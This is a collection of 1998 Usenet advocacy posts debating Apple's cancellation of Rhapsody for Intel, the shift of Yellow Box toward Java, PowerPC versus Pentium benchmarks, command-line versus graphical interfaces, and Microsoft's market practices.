Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: Mon, 18 May 1998 22:35:39 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jquq3$k2g1@odie.mcleod.net>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com>
John C. Randolph wrote in message <6jqrsa$mdk$1@news.idiom.com>...
> "Zico" may or may not have said:
>-> And the clincher? Her talking about Microsoft force-feeding
>-> customers software, and then telling us how the iMac will
>-> ship with Quicken 98, FileMaker Pro, and ClarisWorks. Oh,
>-> but she explains this by saying that THOSE items are things
>-> that all Mac customers want. Hehe, what an airhead. Way
>-> to set female tech writers back 5 years. :)
>
Why do we let a goof by one female tech writer reflect on other female
tech writers at all ? When male tech writers screw up, do we say that male
tech writers are set back in general ? When European tech writers make
silly comments, do we say European tech writers as a group are set back. I
detect a subtle bias.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple supports Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 18:52:51 -0700
Message-ID: <see-below-1905981852510001@209.24.240.108>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu> <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net> <6jp99j$ti3$1@nnrp1.dejanews.com> <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net> <6jt43m$588$1@nnrp1.dejanews.com>
In article <6jt43m$588$1@nnrp1.dejanews.com>, anders@common.se wrote:
> I've changed the annoying subject line.
>
> In article <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net>,
> drifterusa@sprintmail.com (John Bauer) wrote:
>
> > Good question. It seems to my admittedly not too enlightened mind that
> > the loss of Rhapsody/Intel is more upsetting to those who want to avoid
> > NT as their OS rather than to serious Yellow Box developers, though the
> > former likely includes many hobbyists who might have contributed much to
> > the YB shareware pool. I do wonder, though, just how many disgruntled
> > NT users/avoiders there are who would choose Rhapsody over Linux,
> > FreeBSD, Be, OS/2, Solaris or any of the other x86 OSes. Enough to make
> > Rhapsody/Intel a profitable investment for Apple? At what price point?
>
> Off the top of my head,
> Short term: attractively priced Rhapsody 1.0 to gain mind- and market share
> Medium term: Rhapsody 2.0 with more utils/drivers etc, having more YB apps
> Long term: expensive Rhapsody/Merced for server/high end
Exactly!
> The problems with YB/Win are that
> a) Apple's not making a dime on it (Microsoft might, however).
> b) Microsoft can, and will, make YB/Win apps break on Mac OS X.
Good points.
> How many companies with an investment in Intel hardware, even if they start
> using YB apps, will migrate to Mac for the sole purpose of getting rid of the
> NT layer?
>
> Many are even looking at Linux, but are sceptical to an OS not backed by a
> manufacturer. Expecting ported Mac apps, Rhapsody should have a better shot at
> the Intel OS market than Nextstep did, and the profit margin is better than
> for hardware.
Depending on how much they charge for it, possibly, though that's not a
given for operating systems with their high development costs. (It's hard
to make a profit off of an OS by itself unless you sell many millions at
$500+, which is very unlikely.) But otherwise, excelleng points.
> Do both (with or without future Apple Merced boxes). They can
> keep working on Rhapsody/x86, or they can just ship 1.0 and stall the next
> version e.g. until Merced is out, but publicly dropping it, "for now" or not,
> is downright stupid. Since the damage is done I think they should announce the
> "introduction" of OSX/Intel, with some stuff added (not Carbon!) as an excuse.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 19:53:18 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1905981953180001@news.enetis.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchica <Et81xu.25G@midway.uchicago.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <Et81xu.25G@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
(snip)
> >Huh? Just last week at WWDC, Apple ran a comparison of a 266 Mhz iMac
> >against a Compaq Presario, the iMac won. Another comparison of a 400 Mhz
> >G3 versus a 400 Mhz Pentium, the G3 was almost *twice* as fast as the
> >Pentium.
>
>
> At what, Photoshop? I don't use Photoshop, so, that means nothing to me. The
> SPEC benchmarks are more representative of the work that I do and the
> PowerPC isn't faster at those. If I was going to use a non-x86 CPU I would
> go with one that offers a real advantage in performance such as an Alpha.
Jon, SPEC isn't representative of anything anyone does... it's just another
generalized benchmark that does little to demonstrate real world
performance. Only the applications you use are representative of what YOU
do. And in general applications testing (not just Photoshop) PowerPC
running MacOS has always had a clear performance advantage.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: David Dougherty & Megan Smith <dsmithd@erols.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: Tue, 19 May 1998 21:08:00 -0400
Organization: Erol's Internet Services
Message-ID: <35622CE8.164A@erols.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
David Pischke wrote:
>
> InfoWorld has an article on Mac OS X at this URL:
> http://www.infoworld.com/cgi-bin/displayStory.pl?980519.wcosx.htm
>
> <Begin Quote>
> Rhapsody's "Yellow Box," previously the area that housed the advanced OS
> features, is also changing direction, Jobs said.
>
> "Our 'Yellow Box' strategy has been folded into our larger Java strategy
> [all Yellow Box APIs are now in Java, enabling developers to write their
> entire app in Java]," Jobs said. "We are continuing to refine this
> strategy and will disclose it sometime this fall."
>
> Jobs also said that Apple is also phasing out the "box" nomenclature as
> part of how it positions its OS architecture.
>
> "It's all about applications, not boxes," Bereskin added.
> <End Quote>
>
> I don't know, but this bit about the Yellow Box "changing direction" and
> "being folded into our larger Java strategy" worries me...
My guess is that, as has been said in the past, the announcement will be
that Yellow Box in MacOS X is the best java development environment
anywhere. Objective-c, despite it's merits, is not widely used. Java
being an equal programming language will be much more appealing.
David Dougherty
dsmithd@erols.com
Subject: Re: Rhapsody/Intel is Dead Too!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com> <3561FE85.C3B626FC@milestonerdl.com>
In-Reply-To: <3561FE85.C3B626FC@milestonerdl.com>
From: akira@home.com
Message-ID: <2Hq81.33333$Jd6.3114654@news.rdc2.occa.home.com>
Date: Wed, 20 May 1998 01:51:58 GMT
NNTP-Posting-Date: Tue, 19 May 1998 18:51:58 PDT
Organization: @Home Network
On 05/19/98, m rassbach wrote:
>
>
>Scott Anguish wrote:
>
>> On 05/19/98, m rassbach wrote:
>> <snip>
>> >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
>> Look at the name of the site. Does that give you a clue as to
>> the accuracy?
>
>The thread from akria@home.com mentioned the author of that email in his
>thread where he mentions the session where Apple confirms on tape the
>ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and the
>session date of 197 is thursday.
Uh... HUH? Sorry, but I totally didn't follow that. I started this thread
on May 15 (Fri). Session 197, Yellow Box Feedback was on May 15, (Fri). I
have posted no other messages on this thread before May 15.
-d
From: HoopaJoop@SouthPark.com (You Killed Kenny, You SPAMMERS!)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Message-ID: <35622db4.4013462@news.inreach.com>
References: <355c8968.0@206.25.228.5> <6jjfgn$c75$1@crib.bevc.blacksburg.va.us> <Et58A7.1Hp@AWT.NL> <6jquet$jb8$1@news.digifix.com> <6js7sk$t7p$1@msunews.cl.msu.edu>
Date: Wed, 20 May 1998 01:52:58 GMT
NNTP-Posting-Date: Tue, 19 May 1998 18:52:58 PDT
Organization: InReach Internet
On 19 May 1998 15:18:44 GMT, spammers@ruin.the.internet.channelu.com
wrote:
. . .
>Don't get me wrong I think many of the recent moves are
>good for Apple (aka MacOS X, Carbon). But to also drop
>Rhapsody for Intel, that simply proves that Apple doesn't
>believe that it's hardware will stand up price performance
>wise given the same OS (i.e. why buy a PPC server if you
>can get a Intel one for cheaper).
>
>I will say this one last time. If Apple can demonstrate that under
>Rhapsody the G3 is an average a factor X faster (Mhz for Mhz)
>than Intel and the retail price is a similiar factor of X greater
>there are many people that would purchase G3's instead of
>Intel. If the floating point performance doesn't compare then
>a large segment of the compute intensive educational world
>that IS NOW purchasing decked out PC's for highly intensive
>fp compute work will continue to stick with PC's for many
>reasons. (i.e. it is a possible market that Apple has lost).
Are you suggesting that Apple sell or design and sell an Intel
Machine and Pair Rhapsody with it? If you are suggesting that they
use already existing Intel architectures and just sell the OS
software, wouldn't they lose money compared to the G3 world where the
only avenue to a G3 chip is to by a Apple Hardware?
With designing and selling comes the R&D cost then support
costs. With using already existing architectures comes more support
because of all the varieties.
What I am suggesting is: If they abandon the Intel side of
the fence could it be for a simpler reason, greed/profit margin not
price/performance value curves? Technical merrits of the CPU's aside.
>I also don't see educational markets replacing their intel
>desktops for PPC immediately, or any other markets.
>Given a Rhapsody for Intel I could see folks switching to
>Rhapsody on Intel. But I'd agree more likely is an addition
>of YB for 9x/NT.
>
>Also Apple should release enough specs to their hardware
>so a linux port can happen - this gives other people more
>security that their hardware can do useful things even if
>Apple goes belly up.
I agree. I think the benefits of opening the Hardware to other
OS on PPC would (slightly) increase sales. if not, at least your
above reason would help with current and future Apple customers.
. . .
>
>Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
>
>Turbo Software Consulting, Programming, etc.)
>
AJ
ajlobb REMOVE CAPITALS at FROM ADDRESS inreach dot com
Date: Tue, 19 May 1998 21:02:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1905982102440001@elk125.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
In article <35621EF1.9DEDCD98@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> m rassbach wrote:
>
> > What Apple (With MacOS X/Rhapsody) is able to be is a 'run it all
here' platform.
> > WinTel/BeOS on emulation, Unix binary compatiblity - via the BSD
'purple' box,
> > YellowBox, and MacOS apps.
>
> That's a mistake. A BIG MISTAKE, let me say that loud and clear.
>
> A vision of Rhapsody as the Big Grand Do Everything Platform would be a
> major f*** up. Rhapsody doesn't want to be the prom queen, it wants to
> be the village bicycle. Rhapsody doesn't want everything running on it,
> Rhapsody wants to run everywhere. That's the whole point.
>
> To do that Rhapsody needs to spread its tentacles and start pulling
> Microsofts EVERYWHERE. Quicktime EVERYWHERE. Yellow Box EVERYWHERE.
>
> The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> happen.
Why not? They're doing it now. Everything I've heard about Rhapsody is
that it pulls this off very, very well.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 19 May 1998 20:55:30 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <djboccip-1905982055310001@tnt1-38.hiwaay.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7vDG.EKB@midway.uchicago.edu>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <Et7vDG.EKB@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> >
> >Apple dropped Copland rather than shipping a half-assed mess. The phrase
> >was that it would have made violently ill. MS does that. Apple does not.
>
>
> If Microsoft products are so terrible, why do they own such a large share of
> the market? And don't give me the, "because of their anti-competitive
> licensing" line, because that doesn't apply on the Mac hardware side of
> things.
Who knows? Why are Big Macs omnipresent in all cultures? Why did "Cats"
run so long? Why is "Baywatch" one of the most popular television
programs in the world? Why are there so few BMWs on the road?
How many brands of gelatin are there other than Jello, and could you
identify Jello in a blind taste test? How many other brands of steel
wool are there other than Brillo, and could you tell them apart?
Why did Star Trek V have such a huge turnout on opening day? Why did
every kid in the world need to have a Barney?
Here's a clue: the answer to few of the above questions has anything to
do with quality, nor can one infer quality from their respective
market shares.
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Date: Tue, 19 May 1998 20:46:49 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <djboccip-1905982046490001@tnt1-38.hiwaay.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et81xu.25G@midway.uchicago.edu> <*johnnyc*-1905982041240001@jchristie.halifaxcable.dal.ca>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <*johnnyc*-1905982041240001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <Et81xu.25G@midway.uchicago.edu>, "Jonathan Eric Miller"
> <_jemiller@midway.uchicago.edu> wrote:
>
> > At what, Photoshop? I don't use Photoshop, so, that means nothing to me. The
> > SPEC benchmarks are more representative of the work that I do and the
> > PowerPC isn't faster at those. If I was going to use a non-x86 CPU I would
> > go with one that offers a real advantage in performance such as an Alpha.
>
> Apparently, what you do is run SPEC benchmarks all day. Does that
pay well?
That's not really fair. AFAIK, the SPEC components include the guts of
some fairly useful algorithms which span several disciplines.
However, to validly intercompare SPEC, you're effectively reduced to
assuming you will run some variant of Unix on the box. If you're
talking raw PII vs PPC, that might be valid, but for anything in
the Win95/MacOS realm, the SPEC scores are meaningless as an
intercomparison. Bytemarks suffer from some of the same limitations
(do not test file system overhead, etc) but at least run on the
OS's in question...
- DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Subject: Re: OSX - What I See vs What I Want
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <nagleEt1DyG.5qM@netcom.com> <355DCB6D.4269@earthlink.net> <rmcassid-1805981629360001@dante.eng.uci.edu>
In-Reply-To: <rmcassid-1805981629360001@dante.eng.uci.edu>
From: akira@home.com
Message-ID: <hEa81.27111$Jd6.2510193@news.rdc2.occa.home.com>
Date: Tue, 19 May 1998 07:36:45 GMT
NNTP-Posting-Date: Tue, 19 May 1998 00:36:45 PDT
Organization: @Home Network
On 05/18/98, Robert Cassidy wrote:
>In article <355DCB6D.4269@earthlink.net>, skellener@earthlink.net wrote:
>
>>John Nagle wrote:
>>> Actually, there's a good reason for not having a command-line
>>> interface at all. It's too tempting to require use of the command
>>> line interface for "seldom-used functions". Windows and UNIX have
>>> this problem in a big way, and one of the strengths of the Mac is
>>> that it doesn't. Developers have to provide a GUI for everything.
>>> The result is a better user interface.
>>
>>I disagree. IMHO NeXT had a better GUI than the Mac and it had a CLI.
>
>So, if you understand John's point, you can assure me that all operations
>on OpenStep can be completed without using the command-line. I don't know
>anyone that has stated that definitively - I've always heard a 'nearly' in
>there somewhere... and *nearly* requires that you put the command line
>into your description of the UI.
Well, I would say, can you define all operations? I can certainly copy,
move, rename, and delete files. I can open applications. I can compress
files into archives. I can build applications, write code, create
interfaces, access database, draw pictures, analyze spreadsheets, send mail,
etc. No problem. I can't think of anything offhand that I definitely have
to do via CLI. Certainly I know that I can administer Openstep completely
from the GUI, and I was once an administer for 300 some NeXT systems.
But there are things that I can do from the CLI that no GUI I have ever seen
will allow me to do, or do easily. Generally for me these things involve
heavy batch processing via awk and perl scripts. There are things that just
generally don't translate well into any kind of GUI.
Take for example a tree of directories with lots of .JPG files that I want
to convert to have .jpeg extensions. A breeze to do by CLI. Not so easy by
GUI, not w/o a custom app for doing that kind of operation, and how many
apps exist like that. To build in all the capabilities of a CLI into a GUI,
the GUI would end up being as complex, if not worse than a CLI.
It all depends on what you want to do. I'd rather have a good CLI than a
great GUI, because I know no matter how great the GUI, it would never have
all the flexibility that a CLI does, and I do things by CLI every single
day, even on my insanely great NeXT. I am constantly frustrated when I am
on NT or a Mac because there are things I can't do w/o a good CLI because
those systems don't have one. Others in my group never in touch a terminal
session, and they get their work done perfectly fine from the GUI. Of
course, why have one or the other, when you can have the best of both
worlds.
-d
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 18:26:31 -0700
Message-ID: <see-below-1905981826320001@209.24.240.108>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu> <joe.ragosta-1905980757210001@wil104.dol.net>
In article <joe.ragosta-1905980757210001@wil104.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> > In article <3560AE4A.E39BC012@spamtoNull.com>, Jonathan Harker
> > <Limeyville@spamtoNull.com> wrote:
> >
> > > Now, a scant few months before Rhapsody's general release, Jobs
> > > announces the company is revising it's "next-gen OS strategy" around the
> > > Mac OS, instead, and that although Rhapsody will be released, the
> > > *really big thing* will be "Mac OS 10" in Q3 1999. You can't see how
> > > this might affect anything relative to Rhapsody?
> >
> > Considering that Mac OS X has everything that Rhapsody will have and more,
> > not really.
>
> You're 95% right. If you're a Mac user, your statement is 100% correct.
>
> Until yesterday, I believed that Apple was planning to continue Rhapsody
> for Intel. I've learned from someone I consider a reputable source that I
> was wrong. Apple apparently plans no Rhapsody or MacOS X without Carbon or
> anything like on x86 that past Rhapsody 1.0.
>
> In my opinion, this is a major mistake. I'd encourage anyone interested in
> having Apple continue Rhapsody for Intel to write, e-mail, and/or call
> Apple to let them know. NOW is the time to stop them from dropping
> Rhaptel.
I agree. It appears you (and others who have maintained this for the last
few days) are right about Rhapsody for Intel. I also think this is a
mistake - a _big_ one. Apple has everything to gain and very little to
lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Tue, 19 May 1998 21:14:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-1905982114550001@elk125.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <joe.ragosta-190598095047 <Et7vDG.EK <Et82oI.37C@midway.uchicago.edu> <6jst4h$v94$1@crib.bevc.blacksburg.va.us>
In article <6jst4h$v94$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <Et82oI.37C@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
>
> > To reply to me, please remove the _ from my email address.
>
> > m rassbach wrote in message <3561DB48.1F3D2AB7@milestonerdl.com>...
>
> > >Jonathan Eric Miller wrote:
>
> > >> It'll probably be 4 years before Apple is to where Microsoft is today.
>
> > >Wrong. With the Unix base shipping in 4 months, Apple has better
> > >technology then Microsoft has shipping.
>
> > Which technology are you referring to?
>
> Which technology are _you_ referring to, that Microsoft is shipping today,
> that Apple will require 4 years to match?
You mean besides their Vapor Generation Algorithms?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 20:04:12 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1905982004120001@pm3a22.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmnrg$lot$1@ligarius.ultra.net> <01bd8298$a00405e0$8383050a@bgravitt.CORP.VHA.COM> <6jqt68$md2$1@strato.ultra.net> <joe.ragosta-1905980851100001@wil94.dol.net> <6jsg7b$hv4$1@gte1.gte.net> <tvyk97iunvg.fsf@cn1.connectnet.com>
In article <tvyk97iunvg.fsf@cn1.connectnet.com>, Darin Johnson
<darin@usa.net.removethis> wrote:
> roger@. (Roger ) writes:
>
> > >But let me ask you--why will this conversion program work for Win98 and
> > >not Win95? Why is OSR2 only available when you buy a new computer?
> >
> > 1. Because it didn't exist / hadn't been tested when OSR2 was
> > released.
> >
> > 2. Because the supported , tested features of OSR2 require new
> > hardware anyway.
>
> Are you being sarcastic here? If OSR2 requires new hardware, then
> does Win98 require users to upgrade their machines as well? I think
> not. Testing is irrelevant - if it's good enough for giving OEM's to
> put into customer machines, then it's good enough for customers.
>
> There's is one primary reason MS did not release more portions of OSR2
> for public consumption: it would hurt sales of Win98. Period.
I think OSR2 was designed for "new" computer systems. This meaning that
OSR2 "assumes" certain things about the hardware which it will run on.
This perhaps allowed OSR2 to be more reliable, easier to configure, etc
because it didn't have to be as "backwards" compatible as the original
Windows 95. I'm not certain if I'm making this clear, but at least maybe
I'm giving you the idea?
Of course, this reasoning seems to fall apart when you get OSR2 on a new
HD that may be installed in older HW.
Maybe not the correct reason, but a plausible one.
Josh
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:40:09 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgif$vp6$8@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net>
Chris,
What on earth are you talking about?
It should have been clear from my post that I didn't think this was some
especially earth-shattering deed. It was simply surprising to me that it was
so easy to incorporate a piece of functionality which I could never before
have considered incorporating into an application - it would have been too
difficult to do.
Now, if an application of mine needs to incorporate web browsing, it can.
Easily. What's wrong with that?
And as I've said before. If Netscape wants to play in that market, all it
has so do is implement these interfaces. They chose not to. Maybe they'll
change their minds, or maybe someone will make this change to the Netscape
code.
Thanks,
John Saunders
jws@jws.ultranet.com
P.S. One reading of your post was that you think I must be some kind of
beginning programmer. That turns out not to be the case.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 19:00:27 -0700
Message-ID: <see-below-1905981900280001@209.24.240.108>
